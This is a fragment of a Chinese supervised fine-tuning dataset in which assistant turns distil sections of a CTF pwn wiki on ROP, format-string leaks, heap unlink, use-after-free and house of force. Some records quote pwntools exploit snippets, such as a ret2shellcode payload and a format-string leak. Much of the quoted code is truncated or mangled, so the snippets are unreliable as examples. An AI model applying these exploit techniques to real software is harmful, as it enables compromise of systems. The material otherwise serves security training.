"ctf_task_type": "pwn", "heading": "确定保护", "heading_path": ["Arm ROP", "jarvisoj - typo", "确定保护"], "original_id": "docs-a208208bd641a6c35dd0", "original_line": 1232, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/arm/rop.md", "source_root": "docs", "source_sha256": "088cfa4d64c56e227fcc369cb08e6f09f032eed8a0871712fd40a0da93312718", "split": "train", "split_group_key": "f62b361bbf516c1c7c849763", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "AI安全", "pwn", "linux", "user-mode", "stackoverflow", "code:bash"], "title": "Arm ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/arm/rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ea0da469d1c6e6cc068f", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md` 中的章节「后向合并-合并低地址 chunk」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md`\n标题：释放内存块\n章节：释放内存块 > _int_free > 合并非 mmap 的空闲 chunk > 后向合并-合并低地址 chunk\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“后向合并-合并低地址 chunk”展开。\n- prev_inuse(p)) { prevsize = prev_size(p);\n- p = chunk_at_offset(p, -((long) prevsize));\n- ``c++ / consolidate backward / if (!\n- unlink(av, p, bck, fwd);\n\n关键术语：\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n\n代码/命令片段线索：\n- c++: 7 行，首行 `/* consolidate backward */`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 180, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "后向合并-合并低地址 chunk", "heading_path": ["释放内存块", "_int_free", "合并非 mmap 的空闲 chunk", "后向合并-合并低地址 chunk"], "original_id": "docs-e124cea35d4f30f4b92a", "original_line": 1134, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "source_root": "docs", "source_sha256": "1d6be6f5b7f2621b4a2b531049a02b0da7c6d59e797566776ae9571a59d5660e", "split": "train", "split_group_key": "4964cbea808f37868c0c517b", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "pwn", "linux", "user-mode", "heap", "code:c++"], "title": "释放内存块"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/implementation/free.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ea1a42bbebda77748163", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md` 中的章节「泄露栈内存」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-exploit.md`\n标题：利用\n章节：利用 > 泄露内存 > 泄露栈内存\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“泄露栈内存”展开。\n- 例如，给定如下程序 ``C #include  int main() { char s[100];\n- 根据C语言的调用规则，格式化字符串函数会根据格式化字符串直接使用栈上自顶向上的变量作为其参数(64位会根据其传参的规则进行获取)。\n- } ` 然后，我们简单编译一下 `shell ➜ leakmemory git:(master) ✗ gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c leakmemory.c: In function ‘main’: leakmemory.c:7:10: warning: format not a string literal and no format arguments [-Wformat-security] printf(s);\n- ^ `` 可以看出，编译器指出了我们的程序中没有给出格式化字符串的参数的问题。\n- printf(\"%08x.%08x.%08x.%s\\n\", a, b, c, s);\n\n关键术语：\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n- code:c\n- code:shell\n\n代码/命令片段线索：\n- C: 9 行，首行 `#include `\n- shell: 5 行，首行 `➜ leakmemory git:(master) ✗ gcc -m32 -fno-stack-protector -no-pie -o leakmemory leakmemory.c`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 592, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "泄露栈内存", "heading_path": ["利用", "泄露内存", "泄露栈内存"], "original_id": "docs-56052454103cc75c6b79", "original_line": 886, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "source_root": "docs", "source_sha256": "040fbecb96f4b30ec8b6ecd0a6bc6afea827abf093eada8b549d44dab3c550e7", "split": "train", "split_group_key": "9c8760ef8e3bdd94986f936f", "subcategory": "pwn/linux/user-mode", "terms": ["栈", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr", "code:c", "code:shell"], "title": "利用"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-exploit.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ea25e94609d609cc82be", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md` 中的章节「get heap addr and ebp addr」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/fmtstr/fmtstr-example.md`\n标题：例子\n章节：例子 > get heap addr and ebp addr\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“get heap addr and ebp addr”展开。\n- payload = flat([ system_addr, 'bbbb', binsh_addr, '%6$p%11$pcccc', ]) createcontact('2222', '2222', '222', payload) printcontact() sh.recvuntil('Description: ') data = sh.recvuntil('cccc', drop=True) data = data.split('0x') print data ebp_addr = int(data[1]...\n\n关键术语：\n- 堆\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- fmtstr\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 295, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "get heap addr and ebp addr", "heading_path": ["例子", "get heap addr and ebp addr"], "original_id": "docs-8b2635831ece50ca258c", "original_line": 877, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "source_root": "docs", "source_sha256": "d526df47868271160568cb01971c9633d988d9cb048751897540a339b9e018a0", "split": "train", "split_group_key": "7f0607eec8b53c46cf241842", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "fmtstr"], "title": "例子"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/fmtstr/fmtstr-example.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ea64877db67dbbe78da8", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md` 中的章节「分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md`\n标题：kernel UAF\n章节：kernel UAF > 例题：CISCN2017 - babydriver > 分析\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“分析”展开。\n- `C // local variable allocation has failed, the output may be wrong!\n- 用 IDA 打开分析，既然没有去除符号表，shift + F9 先看一下有什么结构体，可以发现如下的结构体： `asm 00000000 babydevice_t struc ;\n- 00000010 babydevice_t ends 00000010 ` 再看一下主要函数 babyioctl: 定义了 0x10001 的命令，可以释放全局变量 babydev\\_struct 中的 device\\_buf，再根据用户传递的 size 重新申请一块内存，并设置 device\\_buf\\_len。\n- `bash core [master●] cp ./lib/modules/4.4.72/babydriver.ko .. core [master●] cd ..\n- (sizeof=0x10, align=0x8, copyof_429) 00000000 ;\n\n关键术语：\n- UAF\n- 堆\n- 栈\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n- code:bash\n- code:asm\n- code:c\n\n代码/命令片段线索：\n- bash: 48 行，首行 `CISCN2017_babydriver [master●] mkdir core`\n- bash: 10 行，首行 `core [master●] cp ./lib/modules/4.4.72/babydriver.ko ..`\n- asm: 8 行，首行 `00000000 babydevice_t struc ; (sizeof=0x10, align=0x8, copyof_429)`\n- C: 20 行，首行 `// local variable allocation has failed, the output may be wrong!`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4391, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "分析", "heading_path": ["kernel UAF", "例题：CISCN2017 - babydriver", "分析"], "original_id": "docs-4dabb891c490acfaf728", "original_line": 775, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md", "source_root": "docs", "source_sha256": "8e6b9adbb421820e0d460522b874c1fb80d883af40c04dfc833c137f2c35fa9f", "split": "train", "split_group_key": "21e4c0b77bb5adb25a72597d", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "栈", "AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation", "code:bash", "code:asm", "code:c"], "title": "kernel UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-eabc976f3246ca062a07", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md` 中的章节「zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/basic-rop.md`\n标题：基本 ROP\n章节：zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]\n路径分类：pwn / pwn/linux/user-mode\n分块：2/2\n\n核心知识点：\n- 本节主题围绕“zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]”展开。\n- => 0x246 [ cf PF af ZF sf IF df of ac ] 0x401293  ✔ jns main+149  ↓ 0x4012ab  lea rax, [rip + 0xd66] RAX => 0x402018 ◂— 'No system for you this time !\n- ' 0x4012b2  mov rdi, rax RDI => 0x402018 ◂— 'No system for you this time !\n- /usr/bin/env python3 from pwn import * context.binary = './ret2shellcode' context.log_level = 'debug' io = process('./ret2shellcode') buf2_addr = 0x4040a0 shellcode = asm(shellcraft.sh()) payload = shellcode.ljust(100, b'\\x90') payload = payload.ljust(120,...\n\n关键术语：\n- 边界/溢出\n- 堆\n- 栈\n- ROP/JOP\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `这里也是一样通过 vmmap，我们可以看到 bss 段对应的段具有可执行权限：`\n- plain: 2 行，首行 `思路和上一个例子是相同的`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3746, "chunk_count": 2, "chunk_index": 1, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]", "heading_path": ["zer0ptr @ DESKTOP-FHEMUHT in ~/Pwn-Research/ROP/ret2shellcode/wiki [21:14:26]"], "original_id": "docs-55e589cdf4b541e5cc7b", "original_line": 1251, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "source_root": "docs", "source_sha256": "057a5fc1a3ebb4d1e1c7911a1cc846c084c7768efcee467c77c24351625444cb", "split": "train", "split_group_key": "41e4d2fac01a1f3ae339ca83", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "栈", "ROP/JOP", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "基本 ROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/basic-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-eae2e143abe16a06329c", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md` 中的章节「利用思路」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/unlink.md`\n标题：Unlink\n章节：get shell > 2017 insomni'hack wheelofrobots > 利用思路\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 基本利用思路如下 1. 利用 off by one 漏洞与 fastbin attack 分配 chunk 到 0x603138，进而可以控制 destructor_size 的大小，从而实现任意长度堆溢出。\n- 借助上面可以任意长度堆溢出的漏洞，对 destructor 对应的 chunk 进行溢出，将其溢出到下一个物理相邻的 chunk，从而实现对 0x6030E8 处 fake chunk 进行 unlink 的效果，这时 bss 段的 destructor 指向 0x6030D0。\n- 通过上述的漏洞将已经分配的轮子1 tinny 指针覆盖为 destructor 的地址，那么此后编辑 tinny 即在编辑 destructor 的内容，进而当我们再次编辑 destructor 时就相当于任意低地址写。\n- 其实，既然我们有了任意地址写的漏洞，我们也可以将某个 got 写为 puts 的 plt 地址，进而调用相应函数时便可以直接将相应内容输出。\n- 4. 由于程序只是在最后启动机器人的时候，才会随机输出一些轮子的内容，并且一旦输出，程序就会退出，由于这部分我们并不能控制，所以我们将 exit() patch 为一个 ret 地址。\n- 5. 在泄漏了相应的内容后，我们便可以得到 libc 基地址，system 地址，libc中的 /bin/sh 地址。\n\n关键术语：\n- 边界/溢出\n- 堆\n- ROP/JOP\n- AI安全\n- 修复/缓解\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:python\n\n代码/命令片段线索：\n- python: 128 行，首行 `from pwn import *`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 4602, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "利用思路", "heading_path": ["get shell", "2017 insomni'hack wheelofrobots", "利用思路"], "original_id": "docs-aeb85e9f27d857685721", "original_line": 1090, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "source_root": "docs", "source_sha256": "c6a924469168a8cbe0822d2807b6d6c4037af2ee0bd17384b59dcb6fdb0c90ee", "split": "train", "split_group_key": "43e681fb43bf5fd1fc5beca0", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "ROP/JOP", "AI安全", "修复/缓解", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:python"], "title": "Unlink"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/unlink.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-eb79bd4795c3d61eee26", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md`\n标题：Use After Free\n章节：Use After Free > 原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 而我们一般所指的 Use After Free 漏洞主要是后两种。\n- 简单的说，Use After Free 就是其字面所表达的意思，当一个内存块被释放之后再次被使用。\n- 内存块被释放后，其对应的指针没有被设置为 NULL ，然后在它下一次被使用之前，没有代码对这块内存块进行修改，那么程序很有可能可以正常运转。\n- 这里给出一个简单的例子 ``c++ #include  #include  typedef struct name { char myname;\n- void myprint(char str) { printf(\"%s\\n\", str);\n\n关键术语：\n- UAF\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c++\n- code:shell\n\n代码/命令片段线索：\n- c++: 25 行，首行 `#include `\n- shell: 6 行，首行 `➜ use_after_free git:(use_after_free) ✗ ./use_after_free`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1217, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "原理", "heading_path": ["Use After Free", "原理"], "original_id": "docs-ec7084c2edef3f2c85c7", "original_line": 1118, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md", "source_root": "docs", "source_sha256": "280ce3e15e835a91782f3994f9563b6399c11cb2ddc7b2393a90599906f09806", "split": "train", "split_group_key": "56c6e7adfd7edc333cec0e9a", "subcategory": "pwn/linux/user-mode", "terms": ["UAF", "堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c++", "code:shell"], "title": "Use After Free"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/use-after-free.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-eb8b826f1731370f27f7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「文件信息」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：花式栈溢出技巧 > frame faking > 2018 安恒杯 over > 文件信息\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“文件信息”展开。\n- ``bash over.over: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=99beb778a74c68e4ce1477b559391e860dd0e946, stripped [*] '/home/m4x/pwn_repo/others_over/ov...\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- pwn\n- linux\n- user-mode\n- stackoverflow\n- code:bash\n\n代码/命令片段线索：\n- bash: 7 行，首行 `over.over: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-6...`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 412, "chunk_count": 1, "chunk_index": 0, "ctf_score": 24, "ctf_task_type": "pwn", "heading": "文件信息", "heading_path": ["花式栈溢出技巧", "frame faking", "2018 安恒杯 over", "文件信息"], "original_id": "docs-cdacb6de2dc1cb9e3749", "original_line": 1260, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "9291253f02d6778c4ce59207", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "pwn", "linux", "user-mode", "stackoverflow", "code:bash"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ec0df203680a0e2d5eeb", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md` 中的章节「二进制翻译」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/virtualization/basic-knowledge/cpu-virtualization.md`\n标题：CPU 虚拟化\n章节：CPU 虚拟化 > 纯软件实现 CPU 虚拟化 > 二进制翻译\n路径分类：pwn / pwn/virtualization/basic-knowledge\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“二进制翻译”展开。\n- 文件: ./figure/binary-code-translation.png] > 我们可以看出二进制代码翻译技术与扫描修补技术的原理大体上是非常类似的，但是二进制代码翻译技术会对所有的代码进行翻译，而扫描与修补技术则只会 patch 掉敏感指令与特权指令；\n- 对于简单的特权指令可以直接翻译为类似的等值代码（例如 cli 指令可以直接翻译为置 vcpu 的 flags 寄存器的 IF 位为0），但对于稍微复杂一点的指令，则需要进行深度模拟，利用跳转指令陷入 VMM 中，这通常会造成一定的性能开销。\n- 翻译方法大致分为以下两种： - 简单翻译：可以直接理解为等效代码模拟，这种方法实现较为简单，但是会让指令数量大幅膨胀。\n- 理论上大多数指令都可以使用等值翻译直接在硬件上执行，但这需要更复杂的动态分析技术。\n- 在相同 ISA 架构上大部分指令都是可以直接进行等值翻译的，除了以下几种： - PC 相对寻址指令。\n\n关键术语：\n- 修复/缓解\n- 漏洞利用\n- pwn\n- virtualization\n- basic-knowledge\n- cpu-virtualization.md\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1617, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "二进制翻译", "heading_path": ["CPU 虚拟化", "纯软件实现 CPU 虚拟化", "二进制翻译"], "original_id": "docs-bea02e0eb133fd0079ad", "original_line": 1403, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/cpu-virtualization.md", "source_root": "docs", "source_sha256": "62195df706a3b215353c99b8c10a0bc6fd7a8ba0630c446bc0dd344eae945033", "split": "train", "split_group_key": "5bd1f7760e854324db75253d", "subcategory": "pwn/virtualization/basic-knowledge", "terms": ["修复/缓解", "漏洞利用", "pwn", "virtualization", "basic-knowledge", "cpu-virtualization.md"], "title": "CPU 虚拟化"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/virtualization/basic-knowledge/cpu-virtualization.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ec1a858b7d4c283f69b2", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「题目」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：花式栈溢出技巧 > stack pivoting > 题目\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“题目”展开。\n- EkoPartyCTF 2016 fuckzing-exploit-200\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 185, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "题目", "heading_path": ["花式栈溢出技巧", "stack pivoting", "题目"], "original_id": "docs-d1a49ea3b6d4c91de04b", "original_line": 1258, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "8808641e01dd2552ce30eb11", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-ec252f8cf7365d71dd33", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md` 中的章节「-- coding: utf-8 --」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-force.md`\n标题：House Of Force\n章节：-- coding: utf-8 --\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“-- coding: utf-8 --”展开。\n- r = process('./bamboobox') context.log_level = 'debug'\n- def additem(length, name): r.recvuntil(\":\") r.sendline(\"2\") r.recvuntil(\":\") r.sendline(str(length)) r.recvuntil(\":\") r.sendline(name)\n- def modify(idx, length, name): r.recvuntil(\":\") 